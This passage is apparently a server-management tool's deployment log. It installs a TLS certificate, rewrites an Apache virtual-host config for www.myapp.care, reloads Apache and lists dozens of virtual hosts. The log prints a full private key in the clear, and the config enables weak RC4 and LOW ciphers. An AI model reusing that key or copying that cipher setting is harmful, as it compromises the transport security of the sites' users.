Bp1dObJgxNU9bIz7npJkreR4LN+leLfguo52ROZnDilXlCzKLT4mDAL5JbBdlzn7
9guC40o9ivvM+LM7I0AoBu+7NcFcXZh3HDcNU2xAXR/WPqUZg1+QWkjS0w==
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDR2RR9rOBjneQi
7ifM0D8Ifia8ggHcBUMVjd7zGC0HUwbaph+s6sAJmxVhiOij21jHPNEuiSv1QvvK
45siol8RnrWcLRct9K/Hhf+omztvLDssYzOSk6xIN3jmfAlxuwZglu1Oea53XrXs
U0o6TgUriQy7y7A/588RfvkDXGUqPVy2tM3ZNRuLK6ZoKxPlOVlFIq2ljk360233
G1sWb60/FRtkeWSX5ZZs9TNeyFgUw1OZgn+NkiTNBeRBdyDCMsEtApnjtKnOdWgG
5qQDKu7IoorO/fjki70UKPgv5XGLKhDrUUENsWlGf1YUa0oJtBvVK0RNS/+uxydi
VdFRWVjJAgMBAAECggEAB8FUBoj7CfNt2PSgN+uCSNgQqmrLkswG/KbvlGBSWbDx
0ebNyOAsFK7MjXw3zMZwc3yF5ohfPYMqNwdOVmtVxBrvb0QjVSlzzZXgKuUBv0wN
K8jGwSX/+fNC3pG6758Pz0YEox/QGM1BP+icF6eGfWNlOxN+Af6ZInZk0YD6pCLr
Pt423fjTijs/CCkOeCOEpTvdRALwTY0TVa7ryvQEFEauSprYpbYr9Cjygt/vRqZ9
zkKEXYGZ2Gu8IUP3RsRNe47VCcSmUx6lN0v04KKPNC3fsHo3hsrUftOdzwkAJeXu
uDu0RpvdvDK8TnI1nDtcxnH/AnGJzGbuz7Mex84gOQKBgQD16+OycXcc8uHmdmpf
LUJqF1ly6y3UfP3PH3i4wtQMHVqfqZwQTuPfLoEm5dZA5A8SMkorHpimBP7mVKLu
iinhotAXwfrBGD3y2Iri5NmjemtUMU4jdpImHtJ7jFxbtRRHXNR1akFr52MYBSJQ
Q7P8hL+3BW/WbughwsHkerr8VwKBgQDacrjTFplDZeSRtiE/RItARncnty8vqai2
BABWcuoo0Rs+E/QHERyZMNQpqfE6pJLOiTh5ovtBQ1C18eRqlYQXJs7gxgN3AV70
BkfdYgYN7DnDlGU17kEd3XA1wJ9eP/xaxI9YLvGJ8Vil8QA/6P1EikLPZqp1JZSx
oekRGb8f3wKBgBcS0+FZPgjMTR+3epGFiJa1rCHZKQqn05SMamJDfWvJkUgrvMXW
8RBup5WDuQ+LllJpv4W+MCpbi6MGy+a/teBCy21/OMzHPoC7ioRxXm41PT7ABYnU
RTAoci0/ZScBnW54qkJ9/rdmFWkaijans4p81hQRAYZID6WjRVfvn/2vAoGAQ+yM
H8bVHSnfqpcxO1T635+JiWXiXDWq6f3QhRDyUoLCr8jQhioB9HhEYDghdBScOXBd
iSTub1qZDBoM5j9bdT9x8F5h0W0xszsIuYOzUjzzsSbBWcWdpcWnEG+2nj3TH/4i
fE8Md9H9uIt5gmXV6qv7HjZUJlzrIViw+cpBrY0CgYEAl9wcr81vpdFfHWMca/Mu
o5uZTGT5KCPPPZdQH7xwFR/IyaqvRyHSZrTYeyw6C8a4wmpExWfl/MOAADpKpXJ0
9HNQKRHRhE4XMOFh+6Sx1xARPnuN+TRi3Kzm0eI0b4G+Ld6/s5mPJ+IQvuG7QaoJ
SAap5snFH9htADOn4RXibrI=
-----END PRIVATE KEY-----




endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-02 23:06:51: 

chmod 755 /tmp/pkp847787; /tmp/pkp847787; rm /tmp/pkp847787

2025-12-02 23:06:51: 


dir=/etc/ssl/certs


2025-12-02 23:06:51: 

PUT: /tmp/pkp397385

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/001-myapp_www_care.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-02 23:06:51: 

chmod 755 /tmp/pkp397385; /tmp/pkp397385; rm /tmp/pkp397385

2025-12-02 23:06:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/001-myapp_www_care.conf 42
<VirtualHost *:80>
    #	LogLevel alert rewrite:trace6
    ServerName	www.myapp.care
    ServerAlias	myapp.care
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/myapp_www
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    #	LogLevel alert rewrite:trace6
    ServerName	www.myapp.care
    ServerAlias	myapp.care
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt
    DocumentRoot	/var/www/myapp_www
    <Directory /var/www/myapp_www>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        #AllowOverride	All
#Order	allow,deny
#allow	from all
    </Directory>
    
    #LogLevel rewrite:trace3
    RewriteEngine	On
    
    RewriteRule	\.git.* - [R=404,L]
    
    # realtime landing-page preview
    RewriteCond	%{REQUEST_URI} ^/preview/(.*)$
    RewriteRule	^(.*)$ /include/preview.php [L]
    RewriteCond	%{REQUEST_URI} ^/edit/(.*)$
    RewriteRule	/edit/(.*)$ https://pai.patientapps.net/account/procedurelist/$1?debug=1 [L,R=302]
    RewriteCond	%{REQUEST_URI} ^/~/html$
    RewriteRule	^(.*)$ /include/html.php [L]
    
    RewriteCond	%{REQUEST_URI} ^/static/location\.js$
    RewriteRule	^(.*)$ /static/location.php [L]
    
    RewriteCond	%{REQUEST_URI} ^/static/associate\.gif$
    RewriteRule	^(.*)$ /static/associate.php [L]
    
    RewriteCond	%{REQUEST_URI} !^/$
    #RewriteCond %{REQUEST_URI} !^/index\.html$
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-d
    RewriteRule	^(.*)$ /include/redirect.php [L]
    
    CustomLog	/var/log/apache2/myapp/www_secure_access.log combined
    ErrorLog	/var/log/apache2/myapp/www_secure_error.log
    DirectoryIndex	index.html index.php index.htm
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-02 23:06:51: 

PUT: /tmp/pkp153865

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=001-myapp_www_care.conf
TARGET=/etc/apache2/sites-enabled/001-myapp_www_care.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    #	LogLevel alert rewrite:trace6
    ServerName	www.myapp.care
    ServerAlias	myapp.care
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/myapp_www
    RewriteEngine	On
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    #	LogLevel alert rewrite:trace6
    ServerName	www.myapp.care
    ServerAlias	myapp.care
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/E3BE28443206AC49C3D55D1410B8DC85.crt
    DocumentRoot	/var/www/myapp_www
    <Directory /var/www/myapp_www>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        #AllowOverride	All
#Order	allow,deny
#allow	from all
    </Directory>
    
    #LogLevel rewrite:trace3
    RewriteEngine	On
    
    RewriteRule	\.git.* - [R=404,L]
    
    # realtime landing-page preview
    RewriteCond	%{REQUEST_URI} ^/preview/(.*)$
    RewriteRule	^(.*)$ /include/preview.php [L]
    RewriteCond	%{REQUEST_URI} ^/edit/(.*)$
    RewriteRule	/edit/(.*)$ https://pai.patientapps.net/account/procedurelist/$1?debug=1 [L,R=302]
    RewriteCond	%{REQUEST_URI} ^/~/html$
    RewriteRule	^(.*)$ /include/html.php [L]
    
    RewriteCond	%{REQUEST_URI} ^/static/location\.js$
    RewriteRule	^(.*)$ /static/location.php [L]
    
    RewriteCond	%{REQUEST_URI} ^/static/associate\.gif$
    RewriteRule	^(.*)$ /static/associate.php [L]
    
    RewriteCond	%{REQUEST_URI} !^/$
    #RewriteCond %{REQUEST_URI} !^/index\.html$
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-d
    RewriteRule	^(.*)$ /include/redirect.php [L]
    
    CustomLog	/var/log/apache2/myapp/www_secure_access.log combined
    ErrorLog	/var/log/apache2/myapp/www_secure_error.log
    DirectoryIndex	index.html index.php index.htm
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/001-myapp_www_care.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/001-myapp_www_care.conf)= /etc/apache2//etc/apache2/sites-enabled/001-myapp_www_care.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/001-myapp_www_care.conf= 1'
fi


2025-12-02 23:06:51: 

chmod 755 /tmp/pkp153865; /tmp/pkp153865; rm /tmp/pkp153865

2025-12-02 23:06:51: 




2025-12-02 23:06:51: 

PUT: /tmp/pkp984589

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-02 23:06:51: 

chmod 755 /tmp/pkp984589; /tmp/pkp984589; rm /tmp/pkp984589

2025-12-02 23:06:51: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-02 23:06:51: Establishing a connection
2025-12-02 23:06:51: 

PUT: /tmp/pkp107348

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-02 23:06:52: 

chmod 755 /tmp/pkp107348; /tmp/pkp107348; rm /tmp/pkp107348

2025-12-02 23:06:52: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
